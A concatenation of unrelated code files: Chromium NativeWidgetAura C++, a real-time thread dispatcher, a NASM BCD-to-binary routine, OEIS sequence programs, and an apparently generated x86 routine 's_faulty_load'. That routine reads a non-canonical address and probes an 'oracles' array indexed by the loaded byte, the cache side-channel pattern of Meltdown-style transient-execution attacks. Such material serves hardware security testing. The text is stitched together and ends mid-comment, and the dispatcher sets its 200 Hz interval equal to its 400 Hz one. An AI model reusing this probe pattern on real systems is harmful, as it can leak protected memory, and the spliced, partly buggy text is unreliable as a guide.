cursor) { cursor_ = cursor; aura::client::CursorClient* cursor_client = aura::client::GetCursorClient(window_->GetRootWindow()); if (cursor_client) cursor_client->SetCursor(cursor); } bool NativeWidgetAura::IsMouseEventsEnabled() const { if (!window_) return false; aura::client::CursorClient* cursor_client = aura::client::GetCursorClient(window_->GetRootWindow()); return cursor_client ? cursor_client->IsMouseEventsEnabled() : true; } void NativeWidgetAura::ClearNativeFocus() { aura::client::FocusClient* client = aura::client::GetFocusClient(window_); if (window_ && client && window_->Contains(client->GetFocusedWindow())) client->ResetFocusWithinActiveWindow(window_); } gfx::Rect NativeWidgetAura::GetWorkAreaBoundsInScreen() const { if (!window_) return gfx::Rect(); return gfx::Screen::GetScreenFor(window_)-> GetDisplayNearestWindow(window_).work_area(); } Widget::MoveLoopResult NativeWidgetAura::RunMoveLoop( const gfx::Vector2d& drag_offset, Widget::MoveLoopSource source, Widget::MoveLoopEscapeBehavior escape_behavior) { // |escape_behavior| is only needed on windows when running the native message // loop. if (window_ && window_->parent() && aura::client::GetWindowMoveClient(window_->parent())) { SetCapture(); aura::client::WindowMoveSource window_move_source = source == Widget::MOVE_LOOP_SOURCE_MOUSE ? aura::client::WINDOW_MOVE_SOURCE_MOUSE : aura::client::WINDOW_MOVE_SOURCE_TOUCH; if (aura::client::GetWindowMoveClient(window_->parent())->RunMoveLoop( window_, drag_offset, window_move_source) == aura::client::MOVE_SUCCESSFUL) { return Widget::MOVE_LOOP_SUCCESSFUL; } } return Widget::MOVE_LOOP_CANCELED; } void NativeWidgetAura::EndMoveLoop() { if (window_ && window_->parent() && aura::client::GetWindowMoveClient(window_->parent())) { aura::client::GetWindowMoveClient(window_->parent())->EndMoveLoop(); } } void NativeWidgetAura::SetVisibilityChangedAnimationsEnabled(bool value) { if (window_) window_->SetProperty(aura::client::kAnimationsDisabledKey, !value); } ui::NativeTheme* NativeWidgetAura::GetNativeTheme() const { #if !defined(OS_CHROMEOS) return DesktopRootWindowHost::GetNativeTheme(window_); #else return ui::NativeThemeAura::instance(); #endif } void NativeWidgetAura::OnRootViewLayout() const { } //////////////////////////////////////////////////////////////////////////////// // NativeWidgetAura, views::InputMethodDelegate implementation: void NativeWidgetAura::DispatchKeyEventPostIME(const ui::KeyEvent& key) { FocusManager* focus_manager = GetWidget()->GetFocusManager(); delegate_->OnKeyEvent(const_cast<ui::KeyEvent*>(&key)); if (key.handled() || !focus_manager) return; focus_manager->OnKeyEvent(key); } //////////////////////////////////////////////////////////////////////////////// // NativeWidgetAura, aura::WindowDelegate implementation: gfx::Size NativeWidgetAura::GetMinimumSize() const { return delegate_->GetMinimumSize(); } gfx::Size NativeWidgetAura::GetMaximumSize() const { return delegate_->GetMaximumSize(); } void NativeWidgetAura::OnBoundsChanged(const gfx::Rect& old_bounds, const gfx::Rect& new_bounds) { if (old_bounds.origin() != new_bounds.origin()) delegate_->OnNativeWidgetMove(); if (old_bounds.size() != new_bounds.size()) delegate_->OnNativeWidgetSizeChanged(new_bounds.size()); } gfx::NativeCursor NativeWidgetAura::GetCursor(const gfx::Point& point) { return cursor_; } int NativeWidgetAura::GetNonClientComponent(const gfx::Point& point) const { return delegate_->GetNonClientComponent(point); } bool NativeWidgetAura::ShouldDescendIntoChildForEventHandling( aura::Window* child, const gfx::Point& location) { views::WidgetDelegate* widget_delegate = GetWidget()->widget_delegate(); if (widget_delegate && !widget_delegate->ShouldDescendIntoChildForEventHandling(child, location)) return false; // Don't descend into |child| if there is a view with a Layer that contains // the point and is stacked above |child|s layer. typedef std::vector<ui::Layer*> Layers; const Layers& root_layers(delegate_->GetRootLayers()); if (root_layers.empty()) return true; Layers::const_iterator child_layer_iter( std::find(window_->layer()->children().begin(), window_->layer()->children().end(), child->layer())); if (child_layer_iter == window_->layer()->children().end()) return true; for (std::vector<ui::Layer*>::const_reverse_iterator i = root_layers.rbegin(); i != root_layers.rend(); ++i) { ui::Layer* layer = *i; if (layer->visible() && layer->bounds().Contains(location)) { Layers::const_iterator root_layer_iter( std::find(window_->layer()->children().begin(), window_->layer()->children().end(), layer)); if (root_layer_iter > child_layer_iter) return false; } } return true; } bool NativeWidgetAura::CanFocus() { return can_activate_; } void NativeWidgetAura::OnCaptureLost() { delegate_->OnMouseCaptureLost(); } void NativeWidgetAura::OnPaint(gfx::Canvas* canvas) { delegate_->OnNativeWidgetPaint(canvas); } void NativeWidgetAura::OnDeviceScaleFactorChanged(float device_scale_factor) { // Repainting with new scale factor will paint the content at the right scale. } void NativeWidgetAura::OnWindowDestroying() { delegate_->OnNativeWidgetDestroying(); // If the aura::Window is destroyed, we can no longer show tooltips. tooltip_manager_.reset(); } void NativeWidgetAura::OnWindowDestroyed() { window_ = NULL; delegate_->OnNativeWidgetDestroyed(); if (ownership_ == Widget::InitParams::NATIVE_WIDGET_OWNS_WIDGET) delete this; } void NativeWidgetAura::OnWindowTargetVisibilityChanged(bool visible) { delegate_->OnNativeWidgetVisibilityChanged(visible); } bool NativeWidgetAura::HasHitTestMask() const { return delegate_->HasHitTestMask(); } void NativeWidgetAura::GetHitTestMask(gfx::Path* mask) const { DCHECK(mask); delegate_->GetHitTestMask(mask); } void NativeWidgetAura::DidRecreateLayer(ui::Layer *old_layer, ui::Layer *new_layer) { } //////////////////////////////////////////////////////////////////////////////// // NativeWidgetAura, ui::EventHandler implementation: void NativeWidgetAura::OnKeyEvent(ui::KeyEvent* event) { DCHECK(window_); if (event->is_char()) { // If a ui::InputMethod object is attached to the root window, character // events are handled inside the object and are not passed to this function. // If such object is not attached, character events might be sent (e.g. on // Windows). In this case, we just skip these. return; } // Renderer may send a key event back to us if the key event wasn't handled, // and the window may be invisible by that time. if (!window_->IsVisible()) return; GetWidget()->GetInputMethod()->DispatchKeyEvent(*event); event->SetHandled(); } void NativeWidgetAura::OnMouseEvent(ui::MouseEvent* event) { DCHECK(window_); DCHECK(window_->IsVisible()); if (event->type() == ui::ET_MOUSEWHEEL) { delegate_->OnMouseEvent(event); if (event->handled()) return; } if (tooltip_manager_.get()) tooltip_manager_->UpdateTooltip(); TooltipManagerAura::UpdateTooltipManagerForCapture(GetWidget()); delegate_->OnMouseEvent(event); } void NativeWidgetAura::OnScrollEvent(ui::ScrollEvent* event) { delegate_->OnScrollEvent(event); } void NativeWidgetAura::OnTouchEvent(ui::TouchEvent* event) { DCHECK(window_); DCHECK(window_->IsVisible() || event->IsEndingEvent()); delegate_->OnTouchEvent(event); } void NativeWidgetAura::OnGestureEvent(ui::GestureEvent* event) { DCHECK(window_); DCHECK(window_->IsVisible() || event->IsEndingEvent()); delegate_->OnGestureEvent(event); } //////////////////////////////////////////////////////////////////////////////// // NativeWidgetAura, aura::client::ActivationDelegate implementation: bool NativeWidgetAura::ShouldActivate() const { return can_activate_ && delegate_->CanActivate(); } //////////////////////////////////////////////////////////////////////////////// // NativeWidgetAura, aura::client::ActivationChangeObserver implementation: void NativeWidgetAura::OnWindowActivated(aura::Window* gained_active, aura::Window* lost_active) { DCHECK(window_ == gained_active || window_ == lost_active); if (GetWidget()->GetFocusManager()) { if (window_ == gained_active) GetWidget()->GetFocusManager()->RestoreFocusedView(); else if (window_ == lost_active) GetWidget()->GetFocusManager()->StoreFocusedView(true); } delegate_->OnNativeWidgetActivationChanged(window_ == gained_active); if (IsVisible() && GetWidget()->non_client_view()) GetWidget()->non_client_view()->SchedulePaint(); } //////////////////////////////////////////////////////////////////////////////// // NativeWidgetAura, aura::client::FocusChangeObserver: void NativeWidgetAura::OnWindowFocused(aura::Window* gained_focus, aura::Window* lost_focus) { if (window_ == gained_focus) { // In aura, it is possible for child native widgets to take input and focus, // this differs from the behavior on windows. if (GetWidget()->GetInputMethod()) // Null in tests. GetWidget()->GetInputMethod()->OnFocus(); delegate_->OnNativeFocus(lost_focus); } else if (window_ == lost_focus) { // GetInputMethod() recreates the input method if it's previously been // destroyed. If we get called during destruction, the input method will be // gone, and creating a new one and telling it that we lost the focus will // trigger a DCHECK (the new input method doesn't think that we have the // focus and doesn't expect a blur). OnBlur() shouldn't be called during // destruction unless WIDGET_OWNS_NATIVE_WIDGET is set (which is just the // case in tests). if (!destroying_) { if (GetWidget()->GetInputMethod()) GetWidget()->GetInputMethod()->OnBlur(); } else { DCHECK_EQ(ownership_, Widget::InitParams::WIDGET_OWNS_NATIVE_WIDGET); } aura::client::FocusClient* client = aura::client::GetFocusClient(window_); if (client) // NULL during destruction of aura::Window. delegate_->OnNativeBlur(client->GetFocusedWindow()); } } //////////////////////////////////////////////////////////////////////////////// // NativeWidgetAura, aura::WindowDragDropDelegate implementation: void NativeWidgetAura::OnDragEntered(const ui::DropTargetEvent& event) { DCHECK(drop_helper_.get() != NULL); last_drop_operation_ = drop_helper_->OnDragOver(event.data(), event.location(), event.source_operations()); } int NativeWidgetAura::OnDragUpdated(const ui::DropTargetEvent& event) { DCHECK(drop_helper_.get() != NULL); last_drop_operation_ = drop_helper_->OnDragOver(event.data(), event.location(), event.source_operations()); return last_drop_operation_; } void NativeWidgetAura::OnDragExited() { DCHECK(drop_helper_.get() != NULL); drop_helper_->OnDragExit(); } int NativeWidgetAura::OnPerformDrop(const ui::DropTargetEvent& event) { DCHECK(drop_helper_.get() != NULL); return drop_helper_->OnDrop(event.data(), event.location(), last_drop_operation_); } //////////////////////////////////////////////////////////////////////////////// // NativeWidgetAura, NativeWidget implementation: ui::EventHandler* NativeWidgetAura::GetEventHandler() { return this; } //////////////////////////////////////////////////////////////////////////////// // NativeWidgetAura, protected: NativeWidgetAura::~NativeWidgetAura() { destroying_ = true; if (ownership_ == Widget::InitParams::NATIVE_WIDGET_OWNS_WIDGET) delete delegate_; else CloseNow(); } //////////////////////////////////////////////////////////////////////////////// // NativeWidgetAura, private: void NativeWidgetAura::SetInitialFocus() { // The window does not get keyboard messages unless we focus it. if (!GetWidget()->SetInitialFocus()) window_->Focus(); } //////////////////////////////////////////////////////////////////////////////// // Widget, public: // static void Widget::NotifyLocaleChanged() { // Deliberately not implemented. } namespace { #if defined(OS_WIN) || (defined(USE_X11) && !defined(OS_CHROMEOS)) void CloseWindow(aura::Window* window) { if (window) { Widget* widget = Widget::GetWidgetForNativeView(window); if (widget && widget->is_secondary_widget()) // To avoid the delay in shutdown caused by using Close which may wait // for animations, use CloseNow. Because this is only used on secondary // widgets it seems relatively safe to skip the extra processing of // Close. widget->CloseNow(); } } #endif #if defined(OS_WIN) BOOL CALLBACK WindowCallbackProc(HWND hwnd, LPARAM lParam) { aura::Window* root_window = DesktopRootWindowHostWin::GetContentWindowForHWND(hwnd); CloseWindow(root_window); return TRUE; } #endif } // namespace // static void Widget::CloseAllSecondaryWidgets() { #if defined(OS_WIN) EnumThreadWindows(GetCurrentThreadId(), WindowCallbackProc, 0); #endif #if defined(USE_X11) && !defined(OS_CHROMEOS) std::vector<aura::Window*> open_windows = DesktopRootWindowHostX11::GetAllOpenWindows(); std::for_each(open_windows.begin(), open_windows.end(), CloseWindow); DesktopRootWindowHostX11::CleanUpWindowList(); #endif } bool Widget::ConvertRect(const Widget* source, const Widget* target, gfx::Rect* rect) { return false; } namespace internal { //////////////////////////////////////////////////////////////////////////////// // internal::NativeWidgetPrivate, public: // static NativeWidgetPrivate* NativeWidgetPrivate::CreateNativeWidget( internal::NativeWidgetDelegate* delegate) { return new NativeWidgetAura(delegate); } // static NativeWidgetPrivate* NativeWidgetPrivate::GetNativeWidgetForNativeView( gfx::NativeView native_view) { // Cast must match type supplied to RegisterNativeWidgetForWindow(). return reinterpret_cast<NativeWidgetPrivate*>(native_view->user_data()); } // static NativeWidgetPrivate* NativeWidgetPrivate::GetNativeWidgetForNativeWindow( gfx::NativeWindow native_window) { // Cast must match type supplied to RegisterNativeWidgetForWindow(). return reinterpret_cast<NativeWidgetPrivate*>(native_window->user_data()); } // static NativeWidgetPrivate* NativeWidgetPrivate::GetTopLevelNativeWidget( gfx::NativeView native_view) { aura::Window* window = native_view; NativeWidgetPrivate* top_level_native_widget = NULL; while (window) { NativeWidgetPrivate* native_widget = GetNativeWidgetForNativeView(window); if (native_widget) top_level_native_widget = native_widget; window = window->parent(); } return top_level_native_widget; } // static void NativeWidgetPrivate::GetAllChildWidgets(gfx::NativeView native_view, Widget::Widgets* children) { { // Code expects widget for |native_view| to be added to |children|. NativeWidgetPrivate* native_widget = static_cast<NativeWidgetPrivate*>( GetNativeWidgetForNativeView(native_view)); if (native_widget && native_widget->GetWidget()) children->insert(native_widget->GetWidget()); } const aura::Window::Windows& child_windows = native_view->children(); for (aura::Window::Windows::const_iterator i = child_windows.begin(); i != child_windows.end(); ++i) { GetAllChildWidgets((*i), children); } } // static void NativeWidgetPrivate::GetAllOwnedWidgets(gfx::NativeView native_view, Widget::Widgets* owned) { const aura::Window::Windows& transient_children = native_view->transient_children(); for (aura::Window::Windows::const_iterator i = transient_children.begin(); i != transient_children.end(); ++i) { NativeWidgetPrivate* native_widget = static_cast<NativeWidgetPrivate*>( GetNativeWidgetForNativeView(*i)); if (native_widget && native_widget->GetWidget()) owned->insert(native_widget->GetWidget()); GetAllOwnedWidgets((*i), owned); } } // static void NativeWidgetPrivate::ReparentNativeView(gfx::NativeView native_view, gfx::NativeView new_parent) { DCHECK(native_view != new_parent); gfx::NativeView previous_parent = native_view->parent(); if (previous_parent == new_parent) return; Widget::Widgets widgets; GetAllChildWidgets(native_view, &widgets); // First notify all the widgets that they are being disassociated // from their previous parent. for (Widget::Widgets::iterator it = widgets.begin(); it != widgets.end(); ++it) { (*it)->NotifyNativeViewHierarchyWillChange(); } if (new_parent) { new_parent->AddChild(native_view); } else { // The following looks weird, but it's the equivalent of what aura has // always done. (The previous behaviour of aura::Window::SetParent() used // NULL as a special value that meant ask the WindowTreeClient where things // should go.) // // This probably isn't strictly correct, but its an invariant that a Window // in use will be attached to a RootWindow, so we can't just call // RemoveChild here. The only possible thing that could assign a RootWindow // in this case is the stacking client of the current RootWindow. This // matches our previous behaviour; the global stacking client would almost // always reattach the window to the same RootWindow. aura::Window* root_window = native_view->GetRootWindow(); aura::client::ParentWindowWithContext( native_view, root_window, root_window->GetBoundsInScreen()); } // And now, notify them that they have a brand new parent. for (Widget::Widgets::iterator it = widgets.begin(); it != widgets.end(); ++it) { (*it)->NotifyNativeViewHierarchyChanged(); } } // static bool NativeWidgetPrivate::IsMouseButtonDown() { return aura::Env::GetInstance()->IsMouseButtonDown(); } // static bool NativeWidgetPrivate::IsTouchDown() { return aura::Env::GetInstance()->is_touch_down(); } } // namespace internal } // namespace views
// This code is under MIT licence // you can find the complete file in project-root / LICENSE.txt #include <iostream> #include <pthread.h> #include <sched.h> #include <time.h> #include <unistd.h> #include "Navigation.h" /** Interval constants - Develop Frequency. * There are 1M microseconds per second - 1000 micros * 1000 millis * To obtain frequency, divide 1M / frequency in hz * i.e. 1M / 400hz = 2500 micros interval (distance between 2 points in time) * need to multiply by 1000 since we will be comparing to nanoseconds * Frequencies are harmonic * this simply allows us to match interval to frequency easily */ const int INTERVAL_400_HZ = 2500 * 1000; const int INTERVAL_200_HZ = 2500 * 1000; const int INTERVAL_100_HZ = 10000 * 1000; const int INTERVAL_50_HZ = 20000 * 1000; const int INTERVAL_10_HZ = 100000 * 1000; const int INTERVAL_5_HZ = 200000 * 1000; const int INTERVAL_1_HZ = 1000000 * 1000; // nano seconds in a second! const long BILLION = 1000000000L; const long DISPATCHER_SLEEP_TIME = 100000L; /** Priority Group Constants - use RT PREMEEMPT priorities. * RT priorities are 0-99 low to high * Kernel sits at ~50 * we always leave highest priority available for intervention - 99 * dispatcher has to run at at a level above all scheduled agents - 98 * resulting in groups 70, 75, 80, 85, 90 for now * TODO: automate with sched_get_priority_max and sched_get_priority_min * TODO: look at using SCHED_DEADLINE to push dispatching to kernel */ const int PRIORITY_TOP = 98; const int PRIORITY_1 = 90; const int PRIORITY_2 = 85; const int PRIORITY_3 = 80; const int PRIORITY_4 = 75; const int PRIORITY_5 = 70; // instantiation of agents Navigation* agnt_Navigation = new Navigation(); // Prototypes for operational funtions void dispatch_agents(); int deploy_agent_thread(int, void* (*)(void*)); //void* dispatch_400hz(void*); //void* dispatch_200hz(void*); //void* dispatch_100hz(void*); //void* dispatch_50hz(void*); //void* dispatch_10hz(void*); //void* dispatch_1hz(void*); void* dispatch_5hz(void*); int main() { dispatch_agents(); while(1) { sleep(1); } return 0; } // Parent dispatcher that runs // dispatchers for each cycle group void dispatch_agents() { // (thread rt-priority, function to run in thread) //deploy_agent_thread(C_priority_1, dispatch_400hz); //deploy_agent_thread(C_priority_2, dispatch_200hz); //deploy_agent_thread(C_priority_3, dispatch_100hz); //deploy_agent_thread(C_priority_4, dispatch_50hz); //deploy_agent_thread(C_priority_5, dispatch_10hz); deploy_agent_thread(PRIORITY_3, dispatch_5hz); //deploy_agent_thread(C_priority_5, dispatch_1hz); } //TODO: bring this altogether to allow easy configuration of schedule // automate it a bit to reduce code. int deploy_agent_thread(int prio, void* (*thread_func)(void* arg)) { // prioritize and launch dispatcher in "loaded" state int retval = 0; // cpu_set_t cpuset; pthread_t dispatch_thread; pthread_attr_t attr; struct sched_param parm; pthread_attr_init(&attr); pthread_attr_getschedparam(&attr, &parm); parm.sched_priority = (prio)-1; pthread_attr_setschedpolicy(&attr, SCHED_FIFO); pthread_attr_setschedparam(&attr, &parm); // CPU_ZERO(&cpuset); // CPU_SET(3,&cpuset); // pthread_setaffinity_np(dispatch_thread, sizeof(cpu_set_t), &cpuset); retval = pthread_create(&dispatch_thread, &attr, thread_func, NULL); if(retval ==0) { pthread_setschedparam(dispatch_thread, SCHED_FIFO, &parm); } // TODO: need to handle if agent not dispatched return retval; } //void* dispatch_400hz(void* arg) //{ // std::cout << "Dispatch 400 thread:\n" << std::endl; // // for nanosleep parameters // struct timespec tim = {0}; // tim.tv_sec = 0; // tim.tv_nsec = 100000L; // // struct timespec t_now, t_lasttick; // // while(1) // { // // for interval (time-passed) calc // uint64_t diff = 0; // clock_gettime(CLOCK_MONOTONIC, &t_now); // diff = BILLION * (t_now.tv_sec - t_lasttick.tv_sec) + t_now.tv_nsec - t_lasttick.tv_nsec; // if(diff >= INTERVAL_400_HZ) // { // agnt_Control.cycle(400); // t_lasttick = t_now; // } // if(diff >= DISPATCHER_SLEEP_TIME) // { // nanosleep(&tim, (struct timespec *)NULL); // } // } // //} //void* dispatch_200hz(void* arg) //{ // std::cout << "Dispatch 200 thread:\n" << std::endl; // // for nanosleep parameters // struct timespec tim = {0}; // tim.tv_sec = 0; // tim.tv_nsec = 100000L; // // struct timespec t_now, t_lasttick; // while(1) // { // // for interval (time-passed) calc // uint64_t diff = 0; // clock_gettime(CLOCK_MONOTONIC, &t_now); // diff = BILLION * (t_now.tv_sec - t_lasttick.tv_sec) + t_now.tv_nsec - t_lasttick.tv_nsec; // if(diff >= INTERVAL_200_HZ) // { // agnt_AutoPilot.cycle(200); // agnt_Payload_1.cycle(200); // // t_lasttick = t_now; // } // if(diff >= DISPATCHER_SLEEP_TIME) // { // nanosleep(&tim, (struct timespec *)NULL); // } // } //} //void* dispatch_100hz(void* arg) //{ // std::cout << "Dispatch 100 thread:\n" << std::endl; // // for nanosleep parameters // struct timespec tim = {0}; // tim.tv_sec = 0; // tim.tv_nsec = 100000L; // // struct timespec t_now, t_lasttick; // while(1) // { // // for interval (time-passed) calc // uint64_t diff = 0; // clock_gettime(CLOCK_MONOTONIC, &t_now); // diff = BILLION * (t_now.tv_sec - t_lasttick.tv_sec) + t_now.tv_nsec - t_lasttick.tv_nsec; // if(diff >= INTERVAL_100_HZ) // { // agnt_Guidance.cycle(100); // t_lasttick = t_now; // } // if(diff >= DISPATCHER_SLEEP_TIME) // { // nanosleep(&tim, (struct timespec *)NULL); // } // } //} //void* dispatch_50hz(void* arg) //{ // std::cout << "Dispatch 50 thread:\n" << std::endl; // // for nanosleep parameters // struct timespec tim = {0, 100000L}; //// tim.tv_sec = 0; //// tim.tv_nsec = 100000L; // // // struct timespec t_now = {0,0}; // struct timespec t_lasttick = {0,0}; // while(1) // { // // for interval (time-passed) calc // uint64_t diff = 0; // clock_gettime(CLOCK_MONOTONIC, &t_now); // diff = BILLION * (t_now.tv_sec - t_lasttick.tv_sec) + t_now.tv_nsec - t_lasttick.tv_nsec; // if(diff >= INTERVAL_50_HZ) // { // agnt_Navigation->cycle(50); // t_lasttick = t_now; // } // if(diff >= DISPATCHER_SLEEP_TIME) // { // nanosleep(&tim, (struct timespec *)NULL); // } // } //} //void* dispatch_10hz(void* arg) //{ // std::cout << "Dispatch 10 thread:\n" << std::endl; // // for nanosleep parameters // struct timespec tim = {0}; // tim.tv_sec = 0; // tim.tv_nsec = 100000L; // // struct timespec t_now, t_lasttick; // while(1) // { // // for interval (time-passed) calc // uint64_t diff = 0; // clock_gettime(CLOCK_MONOTONIC, &t_now); // diff = BILLION * (t_now.tv_sec - t_lasttick.tv_sec) + t_now.tv_nsec - t_lasttick.tv_nsec; // if(diff >= INTERVAL_10_HZ) // { // agnt_Navigation.cycle(10); // agnt_Payload_1.cycle(10); // agnt_Control.cycle(10); // // t_lasttick = t_now; // } // if(diff >= DISPATCHER_SLEEP_TIME) // { // nanosleep(&tim, (struct timespec *)NULL); // } // // } //} //void* dispatch_1hz(void* arg) //{ // std::cout << "Dispatch 1 thread:\n" << std::endl; // // for nanosleep parameters // struct timespec tim = {0}; // tim.tv_sec = 0; // tim.tv_nsec = 100000L; // // struct timespec t_now, t_lasttick; // while(1) // { // // for interval (time-passed) calc // uint64_t diff = 0; // clock_gettime(CLOCK_MONOTONIC, &t_now); // diff = BILLION * (t_now.tv_sec - t_lasttick.tv_sec) + t_now.tv_nsec - t_lasttick.tv_nsec; // if(diff >= INTERVAL_1_HZ) // { // agnt_Platform.cycle(1); // send heartbeat out etc. // // t_lasttick = t_now; // } // if(diff >= DISPATCHER_SLEEP_TIME) // { // nanosleep(&tim, (struct timespec *)NULL); // } // // } // //} void* dispatch_5hz(void* arg) { std::cout << "Dispatch 5 thread:\n" << std::endl; // for nanosleep parameters struct timespec tim = {0, 100000L}; // tim.tv_sec = 0; // tim.tv_nsec = 100000L; struct timespec t_now = {0,0}; struct timespec t_lasttick = {0,0}; while(1) { // for interval (time-passed) calc uint64_t diff = 0; clock_gettime(CLOCK_MONOTONIC, &t_now); diff = BILLION * (t_now.tv_sec - t_lasttick.tv_sec) + t_now.tv_nsec - t_lasttick.tv_nsec; if(diff >= INTERVAL_5_HZ) { agnt_Navigation->cycle(5); //, nSync pointer); // maybe send pointer to nSync here as arg t_lasttick = t_now; } if(diff >= DISPATCHER_SLEEP_TIME) { nanosleep(&tim, (struct timespec *)NULL); } } }
;name: dwordbcd2bin.asm ; ;description: dwordbcd2bin: packed bcd dword to binary conversion. ; ;use: ;packed bcd: mov rdi,packedbcd ; call dwordbcd2bin ;The algorithm is the same as for a single nibble. The number of necessary ;loops is determined empirically. Because we use this algorithm we can used ;the upper 32 bits of rax to hold the bits to process and store the result in ;eax. ; ;build: nasm -felf64 dwordbcd2bin.asm -o dwordbcd2bin.o bits 64 global dwordbcd2bin section .text dwordbcd2bin: ;convert packed bcd in EAX to binary in RAX. push rcx ;save used registers push rdx push r9 ;to hold 0x333.... push r10 ;to hold 0x888.... mov r9,0x3333333300000000 mov r10,0x8888888800000000 mov rax,rdi ;value in rax shl rax,31 ;shift bits 31 to 1 in upper RAX mov rcx,24 ;times we need to repeat .repeat: mov rdx,rax ;value in rdx shr rdx,32 ;shift out saved bits in eax shl rdx,32 add rdx,r9 ;add 3 to each nibble and rdx,r10 ;mask off bit 0,1 and 2 from each nibble shr rdx,2 ;divide by 4, giving 2 or 0 sub rax,rdx ;subtract 2 or 0 from original shr rdx,1 ;divide by 2, giving 1 or 0 sub rax,rdx ;subtract either 1 or 0 ror rax,1 ;save rightmost 0 in eax loop .repeat shr rax,7 ;shift bits back in place pop r10 ;restore used registers pop r9 pop rdx pop rcx ret
SECTION "sec", ROM0 SECTION "sec", ROM0
; A109112: a(n) = 6*a(n-1) - 3*a(n-2), a(0)=2, a(1)=13. ; 2,13,72,393,2142,11673,63612,346653,1889082,10294533,56099952,305716113,1665996822,9078832593,49475005092,269613532773,1469256181362,8006696489853,43632410395032,237774372900633,1295749006218702 mov $1,2 lpb $0 sub $0,1 mov $3,$1 add $1,3 mul $3,2 add $2,$3 add $1,$2 add $1,$3 lpe
; A316828: Image of the Thue-Morse sequence A010060 under the morphism {1 -> 1,2; 0 -> 0,2}. ; 0,2,1,2,1,2,0,2,1,2,0,2,0,2,1,2,1,2,0,2,0,2,1,2,0,2,1,2,1,2,0,2,1,2,0,2,0,2,1,2,0,2,1,2,1,2,0,2,0,2,1,2,1,2,0,2,1,2,0,2,0,2,1,2,1,2,0,2,0,2,1,2,0,2,1,2,1,2,0,2,0,2,1,2,1,2,0,2,1,2,0,2,0,2,1,2,0,2,1,2,1,2,0,2,1,2,0,2,0,2,1,2,1,2,0,2,0,2,1,2,0,2,1,2,1,2,0,2,1,2,0,2,0,2,1,2,0,2,1,2,1,2,0,2,0,2,1,2,1,2,0,2,1,2,0,2,0,2,1,2,0,2,1,2,1,2,0,2,1,2,0,2,0,2,1,2,1,2,0,2,0,2,1,2,0,2,1,2,1,2,0,2,0,2,1,2,1,2,0,2,1,2,0,2,0,2,1,2,1,2,0,2,0,2,1,2,0,2,1,2,1,2,0,2,1,2,0,2,0,2,1,2,0,2,1,2,1,2,0,2,0,2,1,2,1,2,0,2,1,2 cal $0,76826 ; a(n) = 2*(Sum_{k=0..n} A010060(k)) - n, where A010060 is a Thue-Morse sequence. cal $0,194517 ; Second coordinate of (3,5)-Lagrange pair for n. mov $1,$0 add $1,1
; A179103: A variation on A119505 that gives a limited digit set {2, 3, 4, 6, 8}. ; 4,3,6,3,2,3,8,6,2,4,2,3,3,4,3,4,8,4,3,6,6,8,6,6,4,4,3,4,8,4,3,2,2,8,3,3,6,3,3,4,3,6,3,4,3,3,4,4,2,3,2,2,3,8,2,3,4,6,3,6,6,2,3,8,4,2,4,3,3,6,6,2,6,8,3,6,8,2,3,3,3,3,6,8,3,2,4,6,3,8,2,4,6,8,3,3,4,2,6,4 mov $2,13 lpb $2 seq $0,59833 ; "Madonna's Sequence": add 1 (mod 10) to each digit of Pi. add $3,6 add $0,$3 add $0,9 div $2,8 lpe mod $0,11
.global s_prepare_buffers s_prepare_buffers: push %r12 push %r14 push %r9 push %rax push %rcx push %rdi push %rsi lea addresses_D_ht+0xb186, %r9 nop nop nop nop add %rsi, %rsi mov $0x6162636465666768, %r12 movq %r12, (%r9) nop xor %rdi, %rdi lea addresses_D_ht+0x1dc75, %rsi lea addresses_normal_ht+0x7dde, %rdi nop nop xor $4234, %rax mov $86, %rcx rep movsl nop nop and %r12, %r12 lea addresses_normal_ht+0x1699e, %r12 add %r14, %r14 vmovups (%r12), %ymm6 vextracti128 $1, %ymm6, %xmm6 vpextrq $0, %xmm6, %rsi sub $18830, %rcx lea addresses_WC_ht+0x18bb4, %rax clflush (%rax) nop nop nop nop nop inc %r9 vmovups (%rax), %ymm4 vextracti128 $1, %ymm4, %xmm4 vpextrq $0, %xmm4, %r12 nop nop nop nop add %rcx, %rcx lea addresses_D_ht+0x1481e, %rcx nop nop nop nop add %r12, %r12 mov $0x6162636465666768, %r14 movq %r14, %xmm6 movups %xmm6, (%rcx) nop nop and $31941, %rcx pop %rsi pop %rdi pop %rcx pop %rax pop %r9 pop %r14 pop %r12 ret .global s_faulty_load s_faulty_load: push %r11 push %r14 push %rax push %rbp push %rbx push %rcx push %rdi push %rsi // Store lea addresses_UC+0x11f1e, %rbp nop nop nop cmp $45471, %r11 mov $0x5152535455565758, %r14 movq %r14, %xmm1 and $0xffffffffffffffc0, %rbp movaps %xmm1, (%rbp) nop nop nop xor %rsi, %rsi // REPMOV lea addresses_WC+0x550e, %rsi lea addresses_UC+0x251e, %rdi nop nop nop nop inc %rbx mov $22, %rcx rep movsq nop and $5823, %rbx // Load lea addresses_UC+0xbd9e, %rcx nop nop nop nop sub $52469, %rsi movb (%rcx), %r14b nop nop nop nop add %rbp, %rbp // Store lea addresses_PSE+0x1403e, %rsi nop nop cmp $67, %rbx mov $0x5152535455565758, %r14 movq %r14, (%rsi) nop and %rcx, %rcx // Store lea addresses_normal+0x1033e, %r11 nop nop nop nop cmp %rcx, %rcx mov $0x5152535455565758, %rbp movq %rbp, %xmm5 vmovups %ymm5, (%r11) nop dec %rsi // Store mov $0xf9e, %rax clflush (%rax) nop cmp $34038, %rsi movl $0x51525354, (%rax) nop nop nop nop nop xor %rdi, %rdi // Store lea addresses_PSE+0x12d9e, %r11 add %rcx, %rcx movl $0x51525354, (%r11) nop nop nop nop nop cmp %r14, %r14 // Faulty Load mov $0x2eff4b0000000d9e, %rbp clflush (%rbp) nop nop nop nop add %rcx, %rcx mov (%rbp), %eax lea oracles, %rdi and $0xff, %rax shlq $12, %rax mov (%rdi,%rax,1), %rax pop %rsi pop %rdi pop %rcx pop %rbx pop %rbp pop %rax pop %r14 pop %r11 ret /* <gen_faulty_load> [REF] {'src': {'type': 'addresses_NC', 'same': False, 'size': 8, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'dst': {'type': 'addresses_UC', 'same': False, 'size': 16, 'congruent': 7, 'NT': False, 'AVXalign': True}, 'OP': 'STOR'} {'src': {'type': 'addresses_WC', 'congruent': 4, 'same': False}, 'dst': {'type': 'addresses_UC', 'congruent': 7, 'same': False}, 'OP': 'REPM'} {'src': {'type': 'addresses_UC', 'same': False, 'size': 1, 'congruent': 10, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'dst': {'type': 'addresses_PSE', 'same': False, 'size': 8, 'congruent': 4, 'NT': True, 'AVXalign': False}, 'OP': 'STOR'} {'dst': 